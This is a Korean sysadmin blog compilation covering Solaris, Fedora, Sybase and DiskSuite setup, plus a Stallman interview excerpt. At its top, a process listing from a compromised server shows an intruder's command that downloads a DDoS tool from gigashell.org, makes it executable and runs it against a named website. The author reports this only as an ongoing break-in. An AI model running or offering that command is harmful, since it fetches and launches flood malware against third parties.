linux hack…

apache 23486 23332 0 Jul28 ? 00:00:00 sh -c curl -o f3 http://www.gigashell.org/xpl/ddos/f3;chmod 777 f3;nohup ./f3 www.cursinhofenix.com.br 65535 9999999 2>&1
apache 23493 23486 3 Jul28 ? 00:39:00 ./f3 www.cursinhofenix.com.br 65535 9999999

나와는 크게 상관은 없지만, 계속 뚤리고 있음… 서비스중인 서버라, 계속 막고 계속 뚤리고…. 근본적인 문제가 해결되지 않는한 힘들겠네…

Sun keyboard

sun box의 키보드를 그냥 빼면 시스템이 죽어버린다.
/etc/default/kbd 화일에서
#KEYBOARD_ABORT=disable 를
KEYBOARD_ABORT=disable 로 바꾼다.

그 다음에 kbd -i 로 적용한다.

이상 끝 …..

Continue reading

Fedora core3 웹서버 문제…

멀쩡히 잘 되던 서버를 재시작했더니…

아래와 같은 메시지를 내면서 죽어버린다…. 이유는???

Starting httpd: (98)Address already in use: make_sock: could not bind to address [::]:443
no listening sockets available, shutting down
Unable to open logs

Continue reading

Solaris 9 에 Sybase ASE 12_5 설치하기?

참고 문서
http://manuals.sybase.com/onlinebooks/group-as/asp1250e/instsun/@Generic__BookTextView/1;pt=4;lang=ko

Sybase Adaptive Server는 사용자가 많지 않으므로 설치문서라든지 자료를 구하기 매우 어렵다.

1. 설치전작업
설치전 다음과 같은 작업을 한다.

/etc/system화일에
set shmsys:shminfo_shmmax = nnn
nnn을 조정해서 shared memory의 크기를 증가시켰다.

사용자계정 sybase를 만든다.
sybase로 로그인한후 설치작업을 하는데, 다음과 같은 환경변수를 만들어준다.
(C shell 을 사용했다.)

snowfox% set SYBASE_ASE=ASE-12_5
snowfox% set SYBASE_SYSAM=SYSAM-1_0
snowfox% set SYBASE_OCS=OCS-12_5
snowfox% set SYBASE_FTS=FTS-12_5
snowfox% set SYBASE=/opt/sybase

2. 설치
설치는 콘솔에서 그래픽모드로 할 수도 있고, 원격에서 텍스트모드로도 설치할 수 있다.

그래픽모드는 ./setup
텍스트모드는 ./setup -console

라이센스읽기가 끝나면 설치가 시작된다.

스탠다드를 선택했으며 몇번의 질의과정 후에 아래와 같은 화면이 나온다.

Press ENTER to read the text [Type q to quit]

Sybase Central
Adaptive Server Plugin
Job Scheduler Templates and Utilities
Sybase Software Asset Management

for a total size:

701 MB

Press 1 for Next, 2 for Previous, 3 to Cancel or 4 to Redisplay [1]

Installing Sybase Adaptive Server Enterprise Suite. Please wait…

|———–|———–|———–|————|
0% 25% 50% 75% 100%
||||||||

몇변 화면이 지나간후에..

Press 1 for Next, 2 for Previous, 3 to Cancel or 4 to Redisplay [1]
Building Adaptive Server ‘SNOWFOX’:
Writing entry into directory services…
Directory services entry complete.
Building master device…
Master device complete.
Writing RUN_SNOWFOX file…
RUN_SNOWFOX file complete.
Starting server…
Task failed
Unable to boot server ‘SNOWFOX’.
Server ‘SNOWFOX’ was not created.

——————————————————————————-
Adaptive Server configuration failed. Please check the errors listed below and
consult Sybase Customer Service & Support at http://www.sybase.com/support

Building Adaptive Server ‘SNOWFOX’:
Writing entry into directory services…
Directory services entry complete.
Building master device…
Master device complete.
Writing RUN_SNOWFOX file…
RUN_SNOWFOX file complete.
Starting server…
Task failed
Unable to boot server ‘SNOWFOX’.
Server ‘SNOWFOX’ was not created.

Press 1 for Next, 2 for Previous, 3 to Cancel or 4 to Redisplay [1]

그냥 끝나버린다.
설치로그를 보면
00:00000:00000:2005/05/14 12:18:07.04 kernel Checked out license ASE_DEV
00:00000:00000:2005/05/14 12:18:07.08 kernel Adaptive Server Enterprise Develop
er Edition.
00:00000:00000:2005/05/14 12:18:07.51 kernel Using config area from primary mas
ter device.
00:00000:00000:2005/05/14 12:18:07.52 server Configuration Error: Configuration
file, ‘/opt/sybase/SNOWFOX.cfg’, does not exist.
00:00000:00000:2005/05/14 12:18:07.56 kernel Warning: A configuration file was
not specified and the default file ‘/opt/sybase/SNOWFOX.cfg’ does not exist. SQL
Server creates the default file with the default configuration.
00:00000:00000:2005/05/14 12:18:07.60 kernel Warning: Using default file ‘/opt/
sybase/SNOWFOX.cfg’ since a configuration file was not specified. Specify a conf
iguration file name in the RUNSERVER file to avoid this message.
00:00000:00000:2005/05/14 12:18:07.69 kernel os_create_region: can’t allocate 4
9168384 bytes
00:00000:00000:2005/05/14 12:18:07.71 kernel kbcreate: couldn’t create kernel r
egion.
00:00000:00000:2005/05/14 12:18:07.71 kernel kistartup: could not create shared
memory
00:00000:00000:2005/05/14 12:18:07.82 kernel Checked out license ASE_DEV
00:00000:00000:2005/05/14 12:18:07.82 kernel Adaptive Server Enterprise Develop
er Edition.
00:00000:00000:2005/05/14 12:18:07.82 kernel The configuration area in device ‘
/opt/sybase/data/master.dat’ appears to be corrupt. The server needs this data t
o boot, and so cannot continue. The server will shut down.

안된다…..

sun CPU 업그레이드?

Ultra60 시스템보드 501-4450
j3001 1-2(÷3 mode (300MHz/360MHz))를 2-3(÷2 mode and ÷4 mode (450MHz))으로 바꾼다.

Ultra2 시스템보드 501-3132
J2301 1-2(÷3 mode (250MHZ/300MHz))를 2-3(÷2 (167MHz/200MHz) ÷4 (400MHz))로 바꿈

E250 시스템보드 501-4681(OBP업그레이드필요)
J3001 1-2 ÷3 mode (250MHz/300MHz)
2-3 ÷2 mode (200MHz) ÷4 mode (400MHz)

501-5440
J3001 1-2 In ÷3 mode (250MHz/300MHz)
2-3 In ÷2 (200MHz) ÷4 (400MHz) ÷5 (tbd)
J3002 * 1-2 ÷5 mode
2-3 In In ÷2 mode, ÷3 mode, ÷4 mode (default)

Fedora 설치후 mail받기가 안될때……

모든 설정이 이상 없어도 보내는 메일은 잘 가지만, 받지를 못한다.
이것은fedora 설치후에 sendmail이 루프백만 이용하게 되어있기 때문이다.

/etc/mail/sendmail.m4에서 아래 줄을 찾아서,

DAEMON_OPTIONS(`Port=smtp,Addr=127.0.0.1, Name=MTA’)dnl

이것을

dnl DAEMON_OPTIONS(`Port=smtp,Addr=127.0.0.1, Name=MTA’)dnl

이렇게 바꾸고,

m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf

다음에 sendmail을 재시작 한다.

그러면 받기도 잘 된다.

UNIX/Linux 에서 man 출력을 text 파일로 저장할 때…

gundal님의 글

유닉스/리눅스를 사용하다보면 어떨때는 man 페이지를 저장하고 싶어질 때가 있다. 이럴 때에 유용하게 쓰이는 명령어다. (잊고 있었으면 다시 환기를 위해..)

# man (command_what_you_want) | col -b > file_name

이렇게 만들어 놓은 manual 을 하나 띄워 놓고 작업하면 훨씬 수월함.

Jeremy Andrews의 Richard Stallman 인터뷰.

원문은 http://kerneltrap.org/node/4484
번역은 kldp bbs의 crimsoncream님.

그냥보기 아까워서 긁어왔음.

Richard Stallman founded the GNU Project in 1984, and the Free
Software Foundation in 1985. He also originally authored a number of
well known and highly used development tools, including the GNU
Compiler Collection (GCC), the GNU symbolic debugger (GDB) and GNU
Emacs.

Richard Stallman(이하 RMS)은 1984년에 GNU Project를 1985년에 Free
Software Foundation(이하 FSF)을 출범시켰다. 그는 또한 GNU Compiler
Collection(GCC), the GNU symbolic debugger(GDB)나 GNU Emacs 같은 널리
쓰이는 유명한 개발 툴들의 원작자이다.

To better understand Richard Stallman and the GNU project, I recommend
you begin by reviewing their philosophy page. On it you will find a
wealth of information.

이곳(http://www.gnu.org/philosophy/)을 방문한다면 RMS에 대한 보다 많은
많은 정보를 얻을 수 있을 것이다.

We began this interview via email, but later had to finish by
telephone after Richard Stallman fell and broke his arm. He was kind
enough to speak with me at length, discussing his first contact with
computers, his time in the AI lab, the current state of the GNU Hurd,
his current role in the Free Software Foundation, the problems with
non-free software, and much more. The following words offer much
insight into how we got here, and what challenges we still face.

이 인터뷰는 email을 통해서 시작했으나 RMS가 넘어져서 팔이 부러진
후에는 전화통화를 통해서 이루어졌다. 그는 친절하게도 컴퓨터를 처음
접했을 때, AI lab에서 보낸 시간, GNU Hurd의 현황, FSF에서의 그의 역할,
non-free software가 가진 문제점들, 그 외의 여러가지 주제에 대해서
대화를 나눌 수 있을 정도로 충분히 긴 시간을 할애해 주었다. 이어지는
글들은 우리가 어떻게 여기까지 왔으며 무엇을 해결해야하는지 좀 더
풍부한 견해를 보여 줄 것이다.

Continue reading

[SUN] 가끔씩 다음의 에러가…

사용장비는 ultra10, OS 는 solaris10…

가끔씩 화면이 검은색으로 바뀌며,
하얀 글씨로…

Saving System State.
Please Wait…

요런 화면이 나옴.
재부팅 하면 얼마간 사용가능하고 어쩌다 보면 다시 같은 현상 발생

강제로 재부팅하지않으면 몇시간 후에 자동으로 재부팅 됨.

뭔 문제인지 아시는분?

Continue reading

disksuit 주무르기?

disksuit 주무르기?

DiskSuit으로 디스크 묶기…
참고문서: http://www.adminschoice.com/docs/solstice_disksuite.htm

작업환경: Sun EP250, 18GB(OSdisk), 9GB(3개), Solaris9, DiskSuit 4.2.1(solaris8 패키지)

===================================================
# format
Searching for disks…done
AVAILABLE DISK SELECTIONS:
0. c0t0d0
/pci@1f,4000/scsi@3/sd@0,0
1. c0t8d0
/pci@1f,4000/scsi@3/sd@8,0
2. c0t9d0
/pci@1f,4000/scsi@3/sd@9,0
3. c0t10d0
/pci@1f,4000/scsi@3/sd@a,0
===========================================================

1. 9GB디스크의 파티션을 다음과 같이 동일하게 만든다.
(각디스크의 슬라이스 0을 status database가 이용할 것이며, 슬라이스6번을 메타디바이스가 사용할 것이다.)
Current partition table (original):
Total disk cylinders available: 4924 + 2 (reserved cylinders)

Part Tag Flag Cylinders Size Blocks
0 unassigned wm 0 – 5 10.52MB (6/0/0) 21546
1 unassigned wu 0 0 (0/0/0) 0
2 backup wm 0 – 4923 8.43GB (4924/0/0) 17682084
3 unassigned wm 0 0 (0/0/0) 0
4 unassigned wm 0 0 (0/0/0) 0
5 unassigned wm 0 0 (0/0/0) 0
6 unassigned wm 6 – 4923 8.42GB (4918/0/0) 17660538
7 unassigned wm 0 0 (0/0/0) 0
2. State database를 만든다.
#metadb -a -f -c 3 /dev/dsk/c0t8d0s0 /dev/dsk/c0t9d0s0 /dev/dsk/c0t10d0s0

3. meta database를 생성한다.두가지 방법이 있는데, 명령어를 직접 입력하는 방법과, /etc/opt/SUNWmd/를 편집하는 방법이다. 명령어를 입력하여 생성하겠다.

# metainit d0 3 1 /dev/dsk/c0t8d0s6 1 /dev/dsk/c0t9d0s6 1 /dev/dsk/c0t10d0s6

d0 – metadevice name
3 – Total Number of Slices
1 – Number of Slices to be added followed by slice name.

d0: Concat/Stripe is setup

4. 만든 메타디바이스(/dev/md/rdsk/d0)에 화일시스템을 작성한다.
# newfs /dev/md/rdsk/d0
newfs: construct a new file system /dev/md/rdsk/d0: (y/n)? y

5. 마운트한다.
# mount -F ufs /dev/md/dsk/d0 /mnt

6. df -h명령어로 확인해본다.

# df -h
Filesystem size used avail capacity Mounted on
/dev/dsk/c0t0d0s0 1.8G 1.2G 603M 67% /
/proc 0K 0K 0K 0% /proc
mnttab 0K 0K 0K 0% /etc/mnttab
fd 0K 0K 0K 0% /dev/fd
swap 594M 40K 594M 1% /var/run
swap 594M 312K 594M 1% /tmp
/dev/dsk/c0t0d0s7 6.0G 14K 5.9G 1% /export/home
/dev/md/dsk/d0 25G 9K 25G 1% /mnt

여기까지가 concatnated metadb의 구성이었다.(디스크 크기가 달라도 연결할 수 있다)

7. 다음은 9GB 디스크를 하나 더 추가하고, 두개낏 stripe로 묶은다음 미러링을 해 보았다.
하나 더 추가한 디스크도 역시 같은 크기로 파티셔닝을 했다.

먼저, status database에서 디스크를 삭제한다.(비슷한 명령을 세번 내렸다. 한번에 할 줄 몰라서…)
# metadb -d -f /dev/dsk/c0t8d0s0

다시 생성한다.
# metadb -a -f -c 4 /dev/dsk/c0t8d0s0 /dev/dsk/c0t9d0s0 /dev/dsk/c0t10d0s0 /dev/dsk/c0t12d0s0

# metainit d0 1 2 c0t8d0s6 c0t9d0s6 -i 32k
metainit: solaris: d0: unit already set up
이전에 생성한 metadevice가 지워지지 않았다!!!

# metaclear -a
d0: Concat/Stripe is cleared
메타디바이스가 삭제되었다!!!

# metainit d10 1 2 c0t8d0s6 c0t9d0s6 -i 32k
d10: Concat/Stripe is setup
# metainit d11 1 2 c0t10d0s6 c0t12d0s6 -i 32k
d11: Concat/Stripe is setup

d10과 d11 두개의 메타디바이스를 생성했다.

8. 미러 디바이스(d20)의 생성하고 second submirror(d10)을 부착(?)한다.
# metainit d20 -m d11
d20: Mirror is setup

# metattach d20 d10
d20: submirror d10 is attached

9. 화일시스템을 생성하고 마운트한다.
# newfs /dev/md/rdsk/d20
# mount -F ufs /dev/md/dsk/d20 /mnt

# df -h
Filesystem size used avail capacity Mounted on
/dev/dsk/c0t0d0s0 1.8G 1.2G 603M 67% /
/proc 0K 0K 0K 0% /proc
mnttab 0K 0K 0K 0% /etc/mnttab
fd 0K 0K 0K 0% /dev/fd
swap 672M 40K 672M 1% /var/run
swap 672M 0K 672M 0% /tmp
/dev/dsk/c0t0d0s7 6.0G 14K 5.9G 1% /export/home
/dev/md/dsk/d20 17G 9K 16G 1% /mnt

여기서 의문이 생긴다. d20에 데이타를 기록하면, d10에 데이타가 미러(백업)되나?
확인할 방법을 모르겠다. 개념상으로는 미러가 자동으로 되겠지?
# metastat
d20: Mirror
Submirror 0: d11
State: Okay
Submirror 1: d10
State: Resyncing
Resync in progress: 8 % done
Pass: 1
Read option: roundrobin (default)
Write option: parallel (default)
Size: 35317485 blocks

d11: Submirror of d20
State: Okay
Size: 35317485 blocks
Stripe 0: (interlace: 64 blocks)
Device Start Block Dbase State Hot Spare
c0t10d0s6 0 No Okay
c0t12d0s6 0 No Okay
d10: Submirror of d20
State: Resyncing
Size: 35317485 blocks
Stripe 0: (interlace: 64 blocks)
Device Start Block Dbase State Hot Spare
c0t8d0s6 0 No Okay
c0t9d0s6 0 No Okay
10. Raid 5 구성
Raid5 메타디바이스는 최소 3개이상의 슬라이스를 사용한다.
같은 크기의 디스크 슬라이스를 사용해야 한다.
존재하는 화일시스템을 이용면 기존 데이타는 삭제된다.
Raid5 메타디바이스는 concate, stripe, mirror할 수 없다.
기타 여러 주의 사항이 존재한다.
참고: http://docs.sun.com/app/docs/doc/805-5961/6j5kfkm2q?a=view

위에서 작성한 메타디바이스를 삭제한다(다시작성하기 위해서).
# metaclear -a
d20: Mirror is cleared
d11: Concat/Stripe is cleared
d10: Concat/Stripe is cleared

# metainit d10 -r c0t8d0s6 c0t9d0s6 c0t10d0s6 c0t12d0s6
d10: RAID is setup

이시점에서 화일시스템을 생성하려고 했더니 에러가 난다. 이유는(?)

# newfs /dev/md/rdsk/d10
/dev/md/rdsk/d10: Resource temporarily unavailable

재부팅후 상태 확인했더니…

# metastat
d10: RAID
State: Initializing
Initialization in progress: 5% done
Interlace: 32 blocks
Size: 52978023 blocks
Original device:
Size: 52980576 blocks
Device Start Block Dbase State Hot Spare
c0t8d0s6 330 No Initializing
c0t9d0s6 330 No Initializing
c0t10d0s6 330 No Initializing
c0t12d0s6 330 No Initializing

초기화 시간이 상당히 오래 걸린다!!!!!!!!

# metastat
d10: RAID
State: Okay
Interlace: 32 blocks
Size: 52978023 blocks
Original device:
Size: 52980576 blocks
Device Start Block Dbase State Hot Spare
c0t8d0s6 330 No Okay
c0t9d0s6 330 No Okay
c0t10d0s6 330 No Okay
c0t12d0s6 330 No Okay

# newfs /dev/md/rdsk/d10
newfs: construct a new file system /dev/md/rdsk/d10: (y/n)?

화일시스템을 생성하고 마운트하여 사용한다.
# df -h
Filesystem size used avail capacity Mounted on
/dev/dsk/c0t0d0s0 1.8G 1.2G 603M 67% /
/proc 0K 0K 0K 0% /proc
mnttab 0K 0K 0K 0% /etc/mnttab
fd 0K 0K 0K 0% /dev/fd
swap 673M 40K 673M 1% /var/run
swap 673M 0K 673M 0% /tmp
/dev/dsk/c0t0d0s7 6.0G 14K 5.9G 1% /export/home
/dev/md/dsk/d10 25G 9K 25G 1% /mnt

9GB디스크를 4개 붙였는데, 용량이 25GB인 이유는?
Raid level 5의 특성(사용가능한 디스크 크기 = 모든 디스크 슬라이스 크기의 합 – 한개 디스크슬라이스 크기)을 이해하면 된다.

11. Trans meta device의 생성
Trans meta device는 ufs logging을 가능하게 한다. 하나의 logging 디바이스와 마스터 디바이스..
화일시스템의 변화는 logging 디바이스에 기록되고 마스터디바이스에 등록(?)된다.
큰 화일시스템에서 logging 디바이스만을 검사해서 fsck의 수행을 빠르게 한다.
root 파티션은 지원되지 않는다.

Trans meta device는 두가지 경우로 나누어진다.
화일시스템을 언마운트할 수 있는경우와 언마운트할 수 없는경우

먼저, 언마운트할 수 있는경우다.
그래서, /export/home/을 언마운트하겠다.

# metainit d10 -t c0t8d0s6 c0t0d0s7
d10: Trans is setup
# metastat
d10: Trans
State: Okay
Size: 17660538 blocks
Master Device: c0t8d0s6
Logging Device: c0t0d0s7

Master Device Start Block Dbase
c0t8d0s6 0 No

c0t0d0s7: Logging device for d10
State: Okay
Size: 2097152 blocks

Logging Device Start Block Dbase
c0t0d0s7 2050 No

뭔가 되긴 된것 같은데, 어떤 의미인지 자세하게 모르겠다..
한계가 마구 마구 느껴진다!!!
누구 아는사람은 코멘트좀 달아주시길!!!!!!!

미러를 사용하기위한 Trans metadevice도 구성할 수 있다고하는데.
이것역시 개념이 혼동스럽다…..

요부분은 그냥 넘어간다..

12. HotSpare pool
이부분도 역시 어렵다! 그러나 개념을 좀 적어본다면…

HotSpare pool은 submirror나 raid5 메타디바이스가 실패할 경우에 자동으로 대체되도록 디스크슈트가 예약해놓은 슬라이스의 모임(?) 이다. 핫스페어는 미러와 raid5 메타디바이스의 증가된 데이타 availability를 제공한다고 한다.(뭔소리지?)

핫스페어는 메타디바이스일수 없고 반드시 슬라이스여야만 한다.
(그런데, 핫스페어풀에는 메타디바이스가 사용되는것같다. 정말 혼동된다.)

기타 여러특성이 있는데, 개념잡기가 어렵다.. Mmmmmmm….

아무튼, 핫스페어풀을 만들려면 다음과 같은 명령어를 사용한다.

# metainit hsp001 c2t2d0s2 c3t2d0s2
하지만, 슬라이스를 따로 잡아놓지 않았기대문에 말을 들을리가 없을것이다!
그럼, 먼저 디스크들의 슬라이스를 하나씩 더 만들기로 할까? – 아니다.
c0t12d0s6을 핫스페어로 잡기로 했다.

# metainit hsp001 c0t12d0s6
hsp001: Hotspare pool is setup

# metastat
hsp001: 1 hot spare
c0t12d0s6 Available 17660538 blocks

다음에는?
모든 메타디바이스를 이전에 지웠으므로 나머지 9GB 디스크 세개를 Raid5로 묶기로 한다.
# metainit d10 -r c0t8d0s6 c0t9d0s6 c0t10d0s6
d10: RAID is setup

# metastat
d10: RAID
State: Initializing
Initialization in progress: 2% done
Interlace: 32 blocks
Size: 35317485 blocks
Original device:
Size: 35320384 blocks
Device Start Block Dbase State Hot Spare
c0t8d0s6 330 No Initializing
c0t9d0s6 330 No Initializing
c0t10d0s6 330 No Initializing

hsp001: 1 hot spare
c0t12d0s6 Available 17660538 blocks

역시 꽤 오랜시간이 걸린다.

마지막으로 Raid5 메타디바이스를 핫스페어풀에 연결시키면 끝난다.
(정말로? – 핫스페어의 역할에 대해 쉽고 자세하게 설명해주실분은 댓글을 달아주시기 바란다.)

# metaparam -h hsp001 d10

# metastat
d10: RAID
State: Initializing
Initialization in progress: 10% done
Hot spare pool: hsp001
Interlace: 32 blocks
Size: 35317485 blocks
Original device:
Size: 35320384 blocks
Device Start Block Dbase State Hot Spare
c0t8d0s6 330 No Initializing
c0t9d0s6 330 No Initializing
c0t10d0s6 330 No Initializing

hsp001: 1 hot spare
c0t12d0s6 Available 17660538 blocks

13. DiskSet
diskset은 한 호스트의 장애 발생에 대비해 하나 또는 두개의 호스트가 디스크슈트 오브젝트를 공유하도록 하는 것이다.
디스크셋을 사용하려면 각 호스트에 disksuit이 설치되어 있어야 한다.

이것도 여기까지.. 한대 더 작업하려면 꽤 많은 시간이 걸릴듯 하므로…..
그냥 문서나 한번 읽어본다.